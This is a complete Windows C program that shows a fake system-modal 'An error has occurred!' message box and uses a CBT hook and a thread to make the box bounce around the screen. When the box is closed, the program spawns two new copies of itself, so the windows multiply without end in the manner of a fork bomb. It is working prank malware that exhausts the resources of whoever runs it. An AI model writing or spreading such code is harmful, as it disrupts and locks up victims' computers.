#include <windows.h>
#include <stdlib.h>

#define randInt(x) ((int)rand()%(x))

HWND g_hMsgBox = NULL;
BOOL g_running = TRUE;
BOOL setup = FALSE;

DWORD WINAPI MonitorThread(LPVOID lpParam) {
    if (setup) return 0; // Stop from running multiple times
    setup = TRUE;

    srand(GetTickCount());

    RECT rect;

    GetWindowRect(g_hMsgBox, &rect);
    int wWidth = rect.right - rect.left;
    int wHeight = rect.bottom - rect.top;

    int width = GetSystemMetrics(SM_CXSCREEN);
    int height = GetSystemMetrics(SM_CYSCREEN);

    int posX = randInt(width);
    int posY = randInt(height);
    int velY = 5;
    int velX = 5;

    while (g_running) {
        if (g_hMsgBox && !IsWindow(g_hMsgBox)) {
            // The message box was closed
            break;
        }

        // Do whatever you want here

        posX += velX;
        posY += velY;

        if (posX < 0) {
            posX = 0;
            velX *= -1;
        }
        if (posX > width-wWidth) {
            posX = width-wWidth;
            velX *= -1;
        }
        if (posY < 0) {
            posY = 0;
            velY *= -1;
        }
        if (posY > height-wHeight) {
            posY = height-wHeight;
            velY *= -1;
        }
    
        MoveWindow(g_hMsgBox, posX, posY, wWidth, wHeight, 1);

        Sleep(16);  // Check every x ms
    }
    // Now that it's closed, run your post-close logic

    return 0;
}

LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HCBT_ACTIVATE) {
        g_hMsgBox = (HWND)wParam;

        // Optional: manipulate the box (once)

        // Start monitor thread
        CreateThread(NULL, 0, MonitorThread, NULL, 0, NULL);
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main(int argc, char const *argv[]) {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

    // Set the CBT hook for the current thread
    HHOOK hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());

    // Show the message box (will trigger the hook)
    MessageBox(NULL, "An error has occurred!", "Error", MB_ICONERROR | MB_OK | MB_SYSTEMMODAL);

    // After message box is closed
    g_running = FALSE;
    UnhookWindowsHookEx(hHook);

    CreateProcessA(NULL, argv[0], NULL, NULL, 0, 0, NULL, NULL, &si, &pi);
    CreateProcessA(NULL, argv[0], NULL, NULL, 0, 0, NULL, NULL, &si, &pi);
    
    return 0;
}